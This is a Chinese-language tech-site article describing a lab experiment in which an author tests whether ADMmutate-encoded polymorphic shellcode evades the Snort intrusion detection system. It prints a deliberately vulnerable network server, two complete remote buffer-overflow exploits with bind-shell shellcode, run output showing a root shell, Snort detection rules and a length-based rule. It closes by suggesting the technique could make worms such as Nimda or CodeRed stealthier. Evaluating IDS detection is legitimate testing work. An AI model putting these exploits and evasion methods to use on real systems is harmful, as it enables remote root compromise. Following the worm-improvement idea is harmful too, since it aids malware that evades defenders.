-
您的位置:首页 → 精文荟萃 → 软件资讯 → 利用ADMmutate测试NIDS
利用ADMmutate测试NIDS
时间:2004/10/7 18:36:00来源:本站整理作者:蓝点我要评论(0)
-
前言:
只是一个试验,用了三台机器,两台机器跑linux (vmware下的RedHat6.2,同事的机子,借用:)一台机器装NIDS(snort1.8-WIN32)
其中:
server IP: 192.168.100.170
client IP: 192.168.100.171
NIDS IP: 192.168.100.172
目的:
想试试利用ADMmutate是否可以逃过NIDS的监视进行远程缓冲区溢出?NIDS是否可以通过配 置来发现这种攻击!
ADMmutate的介绍:
这个程序的作者是k2,利用了名为多形态代码的技术,使攻击者能够潜在的改变代码结构来欺骗许 多入侵检测系统,但它不会破坏最初的攻击性程序。溢出程序经它一改,就可以摇身一变,而且由于采用了动态改变的技术,每次伪装的shellcode都不相同,本来ids依靠提取公开的溢出程序的特征码来检测报警,特征码变了后ids就检测不到了。
伪装前的shellcode格式为:
[NNNNNNNNNNNNN][SSSS][RRRR]
伪装后的shellcode格式为:
[nnnnnnn][dddd][ssss][rrrr]
其中:
N表示NOP,S表示shellcode,R表示返回地址;
n表示经过编码的NOP,d为解码器,s表示经过编码的shellcode,r表示返回地址。
(ADMmutate在k2的主页上有下载:
http://www.ktwo.ca/c/ADMmutate-0.7.3.tar.gz)
测试过程:
(下面的程序涉及到远程缓冲区溢出,如不明白请看《高级缓冲区溢出下》或《怎样写远程缓冲区溢出漏洞利用程序 》)
1.服务器端运行有漏洞的服务器程序(vulnerable)
//-------------有漏洞的服务器程序(vulnerable.c)-------------------
#include
#include
#include
#define BUFFER_SIZE 1024
#define NAME_SIZE 2048
int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1]= '0';
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;
}
int main(int argc, char *argv[])
{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}
-----------------------------------------------------------------------
server:~/ > gcc vulnerable.c -o vulnerable
server:~/ > ./vulnerable 5555&
(现在该程序监听5555端口并等待连接)
2.安装NIDS的机器运行snort:
D:\Tools\Defence\snort>snort -A fast -l log -c shellcode.rules
其中:
shellcode的规则包括:
alert tcp any any -> any any (msg:"SHELLCODE x86 NOP"; content: "|90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; depth: 128; reference:arachnids,181; classtype:bad-unknown; sid:648; rev:2;)
//此规则主要通过对shellcode中的大量NOP进行判断
alert tcp any any -> any any (msg:"SHELLCODE linux shellcode"; content:"/bin/sh";reference:arachnids,343; classtype:attempted-admin; sid:652; rev:2;)
//此规则主要通过对shellcode中的字符串/bin/sh进行判断
alert tcp any any -> any any (msg:"SHELLCODE x86 stealth NOP"; content: "|eb 02 eb 02 eb 02|"; reference:arachnids,291; classtype:bad-unknown; sid:651; rev:2;)
//此规则主要通过对shellcode中的用来替换NOP的jmp 0x02(十六进制为eb 02)进行判断。采用eb 02替换NOP只要是为了躲避一些通过NOP来判断是否溢出的NIDS的检测。
3.客户端运行正常的远程缓冲区溢出程序exploit
//----------------- 正常的exploit.c ----------------------------------
#include
#include
#include
#define SIZE 2048
#define NOPDEF 861
char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
(一个将shell绑定在3879(\x0f\x27\)端口的shellcode!)
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char buffer[SIZE];
int s, i, size, offset;
unsigned long addr;
struct sockaddr_in remote;
struct hostent *host;
int nop=NOPDEF;
if(argc != 4) {
printf("Usage: %s target-ip port offset\n", argv[0]);
return -1;
}
offset=atoi(argv[3]);
addr=get_sp()-offset;
printf("Jump to 0x%08x\n",addr);
memset(buffer,0x90,SIZE);
memcpy(buffer+nop,shellcode,strlen(shellcode));
for (i = nop+strlen(shellcode); i < SIZE-4; i += 4){
* ((unsigned long *) &buffer[i]) = addr;
}
buffer[2047] = 0x0;
printf("%s\n",buffer);
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL){
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0){
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and gettingport number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1){
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1){
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}
-------------------------------------------------------------------
client:~/ > gcc exploit.c -o exploit
client:~/> ./exploit 192.168.100.170 5555 200
Jump to 0xbffff220
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悏?也f壭1蓧薈塢鳦
塢鬕塎鼚M敉1蓧E鬋f塢靎荅?塎饙E靿EE鼔袓M敉壭CC蛝壭C蛝壝1刹?壭蛝壭A蛝隵?缊F塃
?
夡崓U
蛝桡/bin/sh
???????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????繍
client:~/># nc 192.168.100.170 3879
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
溢出成功!
检查snort日志结果:
10/13-15:59:09.745690[**] [1:648:2] SHELLCODE x86 NOP [**] [Classification: (null)] [Priority: 0] 192.168.100.171:1222 -> 192.168.100.170:5555
或
10/13-16:02:05.635598[**] [1:652:2] SHELLCODE linux shellcode [**] [Classification: (null)] [Priority: 0] 192.168.100.171:1225 -> 192.168.100.170:5555
(由于检测规则的先后顺序造成的!)
4.客户端运行伪装过的exploitk2
//-------- 伪装过的exploitk2.c ----------------------------------
#include
#include
#include
#include "ADMmutapi.h"
#define SIZE 2048
#define NOPDEF 861
char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char buffer[SIZE];
int s, i, size, offset;
unsigned long addr;
struct sockaddr_in remote;
struct hostent *host;
int epad=8; /* a pad of at LEAST 8 is required for this sploit */
int nop=NOPDEF;
struct morphctl *mctlp;
struct morphctl mut;
mut.upper = 0;
mut.lower = 0;
mctlp = &mut;
mut.banned=0;
mut.arch = IA32;
if(argc != 4) {
printf("Usage: %s target-ip port offset\n", argv[0]);
return -1;
}
offset=atoi(argv[3]);
addr=get_sp()-offset;
printf("Jump to 0x%08x\n",addr);
memset(buffer,0x90,SIZE);
memcpy(buffer+nop,shellcode,strlen(shellcode));
for (i = nop+strlen(shellcode); i < SIZE-4; i += 4){
* ((unsigned long *) &buffer[i]) = addr;
}
buffer[2047] = 0x0;
init_mutate(mctlp); //初始化在mut.arch中指定的操作系统结构和功能的指针
if(apply_key(buffer, strlen(shellcode)+epad, nop-1, mctlp) != 0){
exit(1);
} //生成key并用key对shellcode进行编码
if(apply_jnops(buffer, nop-1, mut) != 0){
exit(2);
} //将NOP用其它的垃圾指令替代
if(apply_engine(buffer, strlen(shellcode)+epad, nop-1, mut) != 0){
exit(3);
} //生成解码器
printf("%s\n",buffer);
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL){
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0){
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1){
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1){
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}
--------------------------------------------------------------------
client:~/ > gccexploitk2.c ADMmuteng.c -o exploitk2
client:~/> ./exploitk2 192.168.100.170 5555 300
Jump to 0xbffff18c
?挊?鯓@槜'鶙'7麫掶/掶@鶡/鶚??楡橎橓煉楡麫橖?/鼦/7'7??挊掯燑貔?7楑/??煙貔'鶚?棐鼧@/?'?7/
?@???橓'?/'鯒??鼟橖橓鯍@@@'????鯍掶貂/鴺鶙鴴橒/楖?@貘鼟??@掶/'7''?7鼧??楖?挓貔@7橖貔7魼7'7'煉7'7?
'鵁/'燍@@???鯚@?7??觞@?'?'?棙燍楑?/@7?貔貔/橒?楕?貔掶?????燍鯒@鯚''貂觞?烜貂鶡燉鼧7@?橓鴴
@棐鶚??????鯓燌橓'@鴴'?貔燉棗7?楕7鵃????鼟槜?'挊?7??掯燑?'橓?'鶙?'?槖鶚7@?'//????'?鶔?/楡7鯍?
鶚貂?鵃?'??'??貔鵃麫/魼楖?''鶚?掽@/桜'''鯚燉棙?貂棗'''@楡燌7掯掶?觞橓鯚'?/麫/鯓77'@?鴴7'???鯓7
鴹鯓?'貂/?鼦7槝貂鶡?/橖挓楖鶚//楕掶棢/7?楡煒楑貔'?鶙燉'7貂@/'煑鯒''鼧??'鴴槖7楛鯓?燑鯍
棙??貂??7?????@貘鶡7?燌鵃@?鶙@貘棗?7橎魼鴺@鶚?'@@?@?'?橓'燉''?貂煑?鶙?掵@@'7@楛?'槜?'?'抆凁
4'h??[內4楡1蓛?冟5?棑1搶罇@杻?兤朄杻柒閷桦枧?
=唸?'?wgkwgkg{梗?催fqu壗弛夡鄃{公趂q皙叁?梗?磄娆w#秄洵鹢?&喲?鵱?u#?翱?喏gr榭?^=f莄{绻?"凑
藣]淺b菋b菋b?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉
?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?
繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繍
client:~/> nc 192.168.100.170 3879
id
uid=0(root) gid=0(root) 繉?繉?繉?繉?繉?繉?繉?繉?繍groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
溢出成功!
检查snort日志结果:
NONE :(
可见经过K2的ADMmutate编码的shellcode不能被基于模式匹配的snort发现,难道一点办法也没有了?办法不是没有,但是可能。。。
5.添加一条规则:
alert tcp any any -> any :5555 (msg:"SHELLCODE x86 Length Too Large"; dsize:>1024;)
重新运行:
snort -A fast -l log -c shellcode.rules
然后运行:
./exploitk2 192.168.100.170 5555 300
检查snort日志结果:
10/13-16:09:49.811615[**] [1:0:0] SHELLCODE x86 Length Too Large [**] 192.168.100.171:1228 -> 192.168.100.170:5555
这种根据数据包长度来判断是否存在远程缓冲区溢出攻击的方法,只适合一些特定的端口,如80、53等,而且存在误报的可能。
6.重复多次攻击:
client:~/> ./exploitk2 192.168.100.170 5555 300
Jump to 0xbffff18c
煙楖????''烜燑楡//7燍'?7貘777鶡挓楑//?/?7//'?7'?橎''鼰?/'@燉?7/??7??燑/@??鯓@鶚/槝?@??挓?''鼦'@7?'?掶''鶔/橎燉????煉/@'?@掶'掽掶貘貘鼟??/??貘?/燉@魼棗鴴鼟?煉??????燌??//?鶙桜鼟??桜楑'??觞'鯚7楛'7??楑鯍'槜/7??@??鼟??楛煙?橓/掶7掶?楖掵??棐?@鯒?貔7??燌7鯓'鴴楑橓7?@棢槝/?掶鯓@'鶙鯓?楑?@'/?貘鯚?鵃/煉//鴹燑?@?7鵃?觞?烜鴴橒鶙7鴴/貔77掽?'棗/?橒桜?槜鼦'''掽??橎貔7槖/槝燍?鴹/楕7????棗?'?貔@?挊??掵鶔7?扏槦@'@燉鶡鼰楛@'/楖'鼰///?7烜@?鴴?槜''?橓?'鯒??貂拻??7??'?@7''貂?貔鯍?'鯚'?/煑鶚/掯挆?/'?7鯚楖鶡貘鵃''?貔燍7@扏麫橎'?@/貔7?7魼@?7鶚?鴴?/??'?7挊?@7貘?貔????@''挓/鶡??楑鯓鶡@777/?鶡鶙??@7??/?橓鯍貂?'棐@?冭4^囈寥6伙4??缿?1兤冭4朄?屶兤凐7鶘@杻?忏k?腓??
=唸?'?wghwghgx梗?催黤qv壗迟夡鄃x公賔q螵叁?梗?磄瀣w#礷洵鴒?&喲?鵱?u#?凹?啧gr榧?^>f莄x绻?"粗藣]淺b膵b膵b?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉??繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繍
client:~/> ./exploitk2 192.168.100.170 5555 300
Jump to 0xbffff18c
7鯓鯓/?鯒槦挊?鶙''掶鶚/7煉?@棐@7?@?鯚棐?橓烜?'鶡??鵁棢??鼟鶚@??貘?'燍?'挓7掶/'?7?鯍@?棐鵁?鼟?楡掵???貂貔煒?橖?'鳣楑'鼧??@'?挊?'/7貂鯚?/挊@?@?麫鴴7?鴹@'楛鴴鴹?@楕/??鯚槖?/貂鴹貔槝燉槜觞7'煉魼?槝?煙7/楡掯'鵁@?'鴺鯚'?@'貂燍???煙燉???@鵁?鼟?'挆?'橎棐7'?鼰???貔@/7掽'/鶙?楖貂7@???棢掵@'7??掯?鵁橎''7?7??'觞?'7?@?/槜@@挊?鶙?鼧7??'貔槦燍@??楛魼??鵁?/掽貘燍?槝?掽7'烜'?'楖燉鶔/'觞?/?鼦''?'鯚挓?鼧7鼧麫魼貂鵃@?/拻/煑?楕@/?棙拻掯掶?橎?/?7鯚楛7?@'槜?'@??鯓'鯒7?貘楑鯓?挊/貂@?鶔貂鶙棗'楑/橎?扏/@?燍楖?'燉貔'?'??桜楖烜/7鵃??@燉棗'/掶??鶔'???/鶡@/?鶙??觞?楛扏?楑?7???煙鵃鶙燌橎挓'鶚?掯掯?燍???麫煑?/煙@?'鼰?7?鶙@'橓'??挆貘'?/桜?^??冟5屶1缿鯓??1朄枟槚@柫?朄杒?朄桏轩忮?霕杵?
=噲?'?vgivgigy福?颠齠pw壖池夠鄃y斧豧p颡绳?福?礸洮v#磃瀛鵲?&囇?鴑?t#?敖?唪gs榻?^?f芻y绺?"底蕗奲艎b?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繉?繍
可见用K2的ADMmutate伪装的shellcode是动态改变的。
结论:
后来又试了一种基于协议分析、命令解释、模式匹配,异常状态统计的新一代的NIDS,存 在同样的问题,应该说经过K2的ADMmutate伪装的shellcode可以逃过使用模式匹配并且利用字符串匹配的大部分NIDS!不过如果NIDS还依靠长度,可打印字符等等综合判断,则ADMmutate还是不能逃脱NIDS的监视,但是依靠长度、可打印字符等判断未必准确,以此判断会造成IDS漏报或误报。如果依靠提取溢出程序的shellcode代码中的解码器的特征码,又因为解码器也不是固定的,并且会有一些无用的垃圾指令填充,因此有很大难度;至于用NOP匹配的办法,也很有难度,因为可以替换NOP的指令有很多,而且长度不同,采用暴力破解的话,会大大增加NIDS的负担,影响其性能;用匹配shellcode的办法更不可行,因为shellcode的key由当前时间产生,每次编码后的shellcode都是唯一的。所以,对于使用模式匹配的NIDS来说,目前仍只能通过长度等简单的判断,对于有一些NIDS,也许可以通过模拟执行的方式检测!
待补充:
可惜没有试试其它的NIDS!遗憾!:(
有关ADMmutate更详细的资料还没整理好!:(
一点想法:
在windows下的溢出应该也可以采用这种办法。如果将whisker和ADMmutate采用的技术结合起来, 或是利用它们的想法,应该可以写出更加隐蔽并且更厉害的攻击程序和蠕虫。如把Nimda或CodeRed改良一下,也许会更隐蔽更难以检测!
参考资料:
ADMmutate-0.7.3的相关资料
怎样写远程缓冲区溢出漏洞利用程序
相关阅读
Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么
-
热门文章
360快剪辑怎么使用 36金山词霸如何屏幕取词百度收购PPS已敲定!3
最新文章
微信3.6.0测试版更新了微信支付漏洞会造成哪
360快剪辑怎么使用 360快剪辑软件使用方法介酷骑单车是什么 酷骑单车有什么用Apple pay与支付宝有什么区别 Apple pay与贝贝特卖是正品吗 贝贝特卖网可靠吗
人气排行
xp系统停止服务怎么办?xp系统升级win7系统方电脑闹钟怎么设置 win7电脑闹钟怎么设置office2013安装教程图解:手把手教你安装与qq影音闪退怎么办 QQ影音闪退解决方法VeryCD镜像网站逐个数,电驴资料库全集同步推是什么?同步推使用方法介绍QQ2012什么时候出 最新版下载EDiary——一款好用的电子日记本
查看所有0条评论>>